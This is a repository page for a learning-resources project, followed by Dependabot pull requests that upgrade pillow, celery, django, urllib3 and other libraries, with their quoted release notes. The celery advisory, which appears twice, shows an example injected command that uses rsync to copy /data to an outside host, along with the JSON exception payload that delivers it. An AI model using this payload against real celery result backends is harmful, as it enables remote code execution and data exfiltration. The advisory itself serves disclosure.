We are developing knowledge library for learning programming. The best resources to learn something(related to computer science) on the web are scattered and newcomers waste lot of time to go through choices of tools, then where to learn and all. We aim to elinimate this by recommending beginners the best resource for a tool or language. And who will decide which is best, its the users themselves(plus some AI behind the door).
For full requirements, see requirment.txt
See INSTALL.md for full installation instructions.
This project is licensed under MIT License. See LICENSE.txt
Bumps pillow from 3.0.0 to 9.0.1.
Sourced from pillow's releases.
9.0.1
https://pillow.readthedocs.io/en/stable/releasenotes/9.0.1.html
Changes
- In show_file, use os.remove to remove temporary images. CVE-2022-24303 #6010 [
@radarhere
,@hugovk
]- Restrict builtins within lambdas for ImageMath.eval. CVE-2022-22817 #6009 [radarhere]
9.0.0
https://pillow.readthedocs.io/en/stable/releasenotes/9.0.0.html
Changes
- Restrict builtins for ImageMath.eval() #5923 [
@radarhere
]- Ensure JpegImagePlugin stops at the end of a truncated file #5921 [
@radarhere
]- Fixed ImagePath.Path array handling #5920 [
@radarhere
]- Remove consecutive duplicate tiles that only differ by their offset #5919 [
@radarhere
]- Removed redundant part of condition #5915 [
@radarhere
]- Explicitly enable strip chopping for large uncompressed TIFFs #5517 [
@kmilos
]- Use the Windows method to get TCL functions on Cygwin #5807 [
@DWesl
]- Changed error type to allow for incremental WebP parsing #5404 [
@radarhere
]- Improved I;16 operations on big endian #5901 [
@radarhere
]- Ensure that BMP pixel data offset does not ignore palette #5899 [
@radarhere
]- Limit quantized palette to number of colors #5879 [
@radarhere
]- Use latin1 encoding to decode bytes #5870 [
@radarhere
]- Fixed palette index for zeroed color in FASTOCTREE quantize #5869 [
@radarhere
]- When saving RGBA to GIF, make use of first transparent palette entry #5859 [
@radarhere
]- Pass SAMPLEFORMAT to libtiff #5848 [
@radarhere
]- Added rounding when converting P and PA #5824 [
@radarhere
]- Improved putdata() documentation and data handling #5910 [
@radarhere
]- Exclude carriage return in PDF regex to help prevent ReDoS #5912 [
@radarhere
]- Image.NONE is only used for resampling and dithers #5908 [
@radarhere
]- Fixed freeing pointer in ImageDraw.Outline.transform #5909 [
@radarhere
]- Add Tidelift alignment action and badge #5763 [
@aclark4life
]- Replaced further direct invocations of setup.py #5906 [
@radarhere
]- Added ImageShow support for xdg-open #5897 [
@m-shinder
]- Fixed typo #5902 [
@radarhere
]- Switched from deprecated "setup.py install" to "pip install ." #5896 [
@radarhere
]- Support 16-bit grayscale ImageQt conversion #5856 [
@cmbruns
]- Fixed raising OSError in _safe_read when size is greater than SAFEBLOCK #5872 [
@radarhere
]- Convert subsequent GIF frames to RGB or RGBA #5857 [
@radarhere
]- WebP: Fix memory leak during decoding on failure #5798 [
@ilai-deutel
]- Do not prematurely return in ImageFile when saving to stdout #5665 [
@infmagic2047
]- Added support for top right and bottom right TGA orientations #5829 [
@radarhere
]- Corrected ICNS file length in header #5845 [
@radarhere
]- Block tile TIFF tags when saving #5839 [
@radarhere
]- Added line width argument to ImageDraw polygon #5694 [
@radarhere
]- Do not redeclare class each time when converting to NumPy #5844 [
@radarhere
]- Only prevent repeated polygon pixels when drawing with transparency #5835 [
@radarhere
]
... (truncated)
Sourced from pillow's changelog.
9.0.1 (2022-02-03)
In show_file, use os.remove to remove temporary images. CVE-2022-24303 #6010 [radarhere, hugovk]
Restrict builtins within lambdas for ImageMath.eval. CVE-2022-22817 #6009 [radarhere]
9.0.0 (2022-01-02)
Restrict builtins for ImageMath.eval(). CVE-2022-22817 #5923 [radarhere]
Ensure JpegImagePlugin stops at the end of a truncated file #5921 [radarhere]
Fixed ImagePath.Path array handling. CVE-2022-22815, CVE-2022-22816 #5920 [radarhere]
Remove consecutive duplicate tiles that only differ by their offset #5919 [radarhere]
Improved I;16 operations on big endian #5901 [radarhere]
Limit quantized palette to number of colors #5879 [radarhere]
Fixed palette index for zeroed color in FASTOCTREE quantize #5869 [radarhere]
When saving RGBA to GIF, make use of first transparent palette entry #5859 [radarhere]
Pass SAMPLEFORMAT to libtiff #5848 [radarhere]
Added rounding when converting P and PA #5824 [radarhere]
Improved putdata() documentation and data handling #5910 [radarhere]
Exclude carriage return in PDF regex to help prevent ReDoS #5912 [hugovk]
Fixed freeing pointer in ImageDraw.Outline.transform #5909 [radarhere]
... (truncated)
6deac9e
9.0.1 version bumpc04d812
Update CHANGES.rst [ci skip]4fabec3
Added release notes for 9.0.102affaa
Added delay after opening image with xdg-openca0b585
Updated formatting427221e
In show_file, use os.remove to remove temporary imagesc930be0
Restrict builtins within lambdas for ImageMath.eval75b69dd
Dont need to pin for GHAcd938a7
Autolink CWE numbers with sphinx-issues2e9c461
Add CVE IDsDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase
.
Bumps ipython from 4.0.1 to 7.16.3.
d43c7c7
release 7.16.35fa1e40
Merge pull request from GHSA-pq7m-3gw7-gq5x8df8971
back to dev9f477b7
release 7.16.2138f266
bring back release helper from master branch5aa3634
Merge pull request #13341 from meeseeksmachine/auto-backport-of-pr-13335-on-7...bcae8e0
Backport PR #13335: What's new 7.16.28fcdcd3
Pin Jedi to <0.17.2.2486838
release 7.16.120bdc6f
fix conda buildDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase
.
Bumps celery from 3.1.19 to 5.2.2.
Sourced from celery's releases.
5.2.2
Release date: 2021-12-26 16:30 P.M UTC+2:00
Release by: Omer Katz
Various documentation fixes.
Fix CVE-2021-23727 (Stored Command Injection security vulnerability).
When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as:
os.system("rsync /data [email protected]:~/data")
by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payloadrsync /data [email protected]:~/data
as the exception arguments like so:{ "exc_module": "os", 'exc_type': "system", "exc_message": "rsync /data [email protected]:~/data" }
According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.
v5.2.1
Release date: 2021-11-16 8.55 P.M UTC+6:00
Release by: Asif Saif Uddin
- Fix rstrip usage on bytes instance in ProxyLogger.
- Pass logfile to ExecStop in celery.service example systemd file.
- fix: reduce latency of AsyncResult.get under gevent (#7052)
- Limit redis version: <4.0.0.
- Bump min kombu version to 5.2.2.
- Change pytz>dev to a PEP 440 compliant pytz>0.dev.0.
... (truncated)
Sourced from celery's changelog.
5.2.2
:release-date: 2021-12-26 16:30 P.M UTC+2:00 :release-by: Omer Katz
Various documentation fixes.
Fix CVE-2021-23727 (Stored Command Injection security vulnerability).
When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as:
os.system("rsync /data [email protected]:~/data")
by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payloadrsync /data [email protected]:~/data
as the exception arguments like so:.. code-block:: python
{ "exc_module": "os", 'exc_type': "system", "exc_message": "rsync /data [email protected]:~/data" }
According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.
.. _version-5.2.1:
5.2.1
:release-date: 2021-11-16 8.55 P.M UTC+6:00 :release-by: Asif Saif Uddin
- Fix rstrip usage on bytes instance in ProxyLogger.
- Pass logfile to ExecStop in celery.service example systemd file.
- fix: reduce latency of AsyncResult.get under gevent (#7052)
- Limit redis version: <4.0.0.
- Bump min kombu version to 5.2.2.
... (truncated)
b21c13d
Bump version: 5.2.1 → 5.2.2a60b486
Add changelog for 5.2.2.3e5d630
Fix changelog formatting.1f7ad7e
Fix CVE-2021-23727 (Stored Command Injection securtiy vulnerability).2d8dbc2
Update configuration.rst9596aba
Fix typo in documentation639ad83
update doc to reflect Celery 5.2.x (#7153)d32356c
Bump version: 5.2.0 → 5.2.16842a78
Merge branch 'master' of https://github.com/celery/celery4c92cb7
changelog for v5.2.1Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase
.
Bumps django from 1.5.4 to 2.2.24.
2da029d
[2.2.x] Bumped version for 2.2.24 release.f27c38a
[2.2.x] Fixed CVE-2021-33571 -- Prevented leading zeros in IPv4 addresses.053cc95
[2.2.x] Fixed CVE-2021-33203 -- Fixed potential path-traversal via admindocs'...6229d87
[2.2.x] Confirmed release date for Django 2.2.24.f163ad5
[2.2.x] Added stub release notes and date for Django 2.2.24.bed1755
[2.2.x] Changed IRC references to Libera.Chat.63f0d7a
[2.2.x] Refs #32718 -- Fixed file_storage.test_generate_filename and model_fi...5fe4970
[2.2.x] Post-release version bump.61f814f
[2.2.x] Bumped version for 2.2.23 release.b8ecb06
[2.2.x] Fixed #32718 -- Relaxed file name validation in FileField.Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase
.
Bumps markdown2 from 2.3.0 to 2.4.0.
Sourced from markdown2's changelog.
python-markdown2 2.4.0
- [pull #377] Fixed bug breaking strings elements in metadata lists
- [pull #380] When rendering fenced code blocks, also add the
language-LANG
class- [pull #387] Regex DoS fixes
python-markdown2 2.3.10
- [pull #356] Don't merge sequential quotes into a single blockquote
- [pull #357] use style=text-align for table alignment
- [pull #360] introduce underline extra
- [pull #368] Support for structured and nested values in metadata
- [pull #371] add noopener to external links
python-markdown2 2.3.9
- [pull #335] Added header support for wiki tables
- [pull #336] Reset _toc when convert is run
- [pull #353] XSS fix
- [pull #350] XSS fix
python-markdown2 2.3.8
- [pull #317] Temporary fix to issue #150
- [pull #319] Stop XML escaping the body of a link
- [pull #322] Don't auto link patterns surrounded by triple quotes
- [pull #324] Add class configurability to the enclosing tag
- [pull #328] Accept [X] as marked task
python-markdown2 2.3.7
- [pull #306] Drop support for legacy Python versions
- [pull #307] Fix syntax highlighting test cases that depend on Pygments output
- [pull #308] Add support for Python 3.7
- [pull #304] Add Wheel package support
- [pull #312] Fix toc_depth initialization regression
- [pull #315] XSS fix
python-markdown2 2.3.6
... (truncated)
3149185
prepare for 2.4.0 release887e958
Update CHANGES.md7b65126
Merge pull request #387 from trentm/regex-dosc4b4ccb
Be forgivinge1954d3
Pretty comment alignment96dff22
Regex DOS fixes330d34c
Merge pull request #381 from timgates42/bugfix_typo_becauseb98813f
docs: fix simple typo, becase -> becausecf9c53d
Merge pull request #380 from dkasak/fenced-code-block-additional-tagb9e3ec7
Pygments test fix for new versionDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase
.
Bumps urllib3 from 1.13.1 to 1.26.5.
Sourced from urllib3's releases.
1.26.5
:warning: IMPORTANT: urllib3 v2.0 will drop support for Python 2: Read more in the v2.0 Roadmap
- Fixed deprecation warnings emitted in Python 3.10.
- Updated vendored
six
library to 1.16.0.- Improved performance of URL parser when splitting the authority component.
If you or your organization rely on urllib3 consider supporting us via GitHub Sponsors
1.26.4
:warning: IMPORTANT: urllib3 v2.0 will drop support for Python 2: Read more in the v2.0 Roadmap
- Changed behavior of the default
SSLContext
when connecting to HTTPS proxy during HTTPS requests. The defaultSSLContext
now setscheck_hostname=True
.If you or your organization rely on urllib3 consider supporting us via GitHub Sponsors
1.26.3
:warning: IMPORTANT: urllib3 v2.0 will drop support for Python 2: Read more in the v2.0 Roadmap
Fixed bytes and string comparison issue with headers (Pull #2141)
Changed
ProxySchemeUnknown
error message to be more actionable if the user supplies a proxy URL without a scheme (Pull #2107)If you or your organization rely on urllib3 consider supporting us via GitHub Sponsors
1.26.2
:warning: IMPORTANT: urllib3 v2.0 will drop support for Python 2: Read more in the v2.0 Roadmap
- Fixed an issue where
wrap_socket
andCERT_REQUIRED
wouldn't be imported properly on Python 2.7.8 and earlier (Pull #2052)1.26.1
:warning: IMPORTANT: urllib3 v2.0 will drop support for Python 2: Read more in the v2.0 Roadmap
- Fixed an issue where two
User-Agent
headers would be sent if aUser-Agent
header key is passed asbytes
(Pull #2047)1.26.0
:warning: IMPORTANT: urllib3 v2.0 will drop support for Python 2: Read more in the v2.0 Roadmap
Added support for HTTPS proxies contacting HTTPS servers (Pull #1923, Pull #1806)
Deprecated negotiating TLSv1 and TLSv1.1 by default. Users that still wish to use TLS earlier than 1.2 without a deprecation warning should opt-in explicitly by setting
ssl_version=ssl.PROTOCOL_TLSv1_1
(Pull #2002) Starting in urllib3 v2.0: Connections that receive aDeprecationWarning
will failDeprecated
Retry
optionsRetry.DEFAULT_METHOD_WHITELIST
,Retry.DEFAULT_REDIRECT_HEADERS_BLACKLIST
andRetry(method_whitelist=...)
in favor ofRetry.DEFAULT_ALLOWED_METHODS
,Retry.DEFAULT_REMOVE_HEADERS_ON_REDIRECT
, andRetry(allowed_methods=...)
(Pull #2000) Starting in urllib3 v2.0: Deprecated options will be removed
... (truncated)
Sourced from urllib3's changelog.
1.26.5 (2021-05-26)
- Fixed deprecation warnings emitted in Python 3.10.
- Updated vendored
six
library to 1.16.0.- Improved performance of URL parser when splitting the authority component.
1.26.4 (2021-03-15)
- Changed behavior of the default
SSLContext
when connecting to HTTPS proxy during HTTPS requests. The defaultSSLContext
now setscheck_hostname=True
.1.26.3 (2021-01-26)
Fixed bytes and string comparison issue with headers (Pull #2141)
Changed
ProxySchemeUnknown
error message to be more actionable if the user supplies a proxy URL without a scheme. (Pull #2107)1.26.2 (2020-11-12)
- Fixed an issue where
wrap_socket
andCERT_REQUIRED
wouldn't be imported properly on Python 2.7.8 and earlier (Pull #2052)1.26.1 (2020-11-11)
- Fixed an issue where two
User-Agent
headers would be sent if aUser-Agent
header key is passed asbytes
(Pull #2047)1.26.0 (2020-11-10)
NOTE: urllib3 v2.0 will drop support for Python 2.
Read more in the v2.0 Roadmap <https://urllib3.readthedocs.io/en/latest/v2-roadmap.html>
_.Added support for HTTPS proxies contacting HTTPS servers (Pull #1923, Pull #1806)
Deprecated negotiating TLSv1 and TLSv1.1 by default. Users that still wish to use TLS earlier than 1.2 without a deprecation warning
... (truncated)
d161647
Release 1.26.52d4a3fe
Improve performance of sub-authority splitting in URL2698537
Update vendored six to 1.16.007bed79
Fix deprecation warnings for Python 3.10 ssl moduled725a9b
Add Python 3.10 to GitHub Actions339ad34
Use pytest==6.2.4 on Python 3.10+f271c9c
Apply latest Black formatting1884878
[1.26] Properly proxy EOF on the SSLTransport test suitea891304
Release 1.26.48d65ea1
Merge pull request from GHSA-5phf-pp7p-vc2rDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase
.
python django django-tutorial elasticsearch learning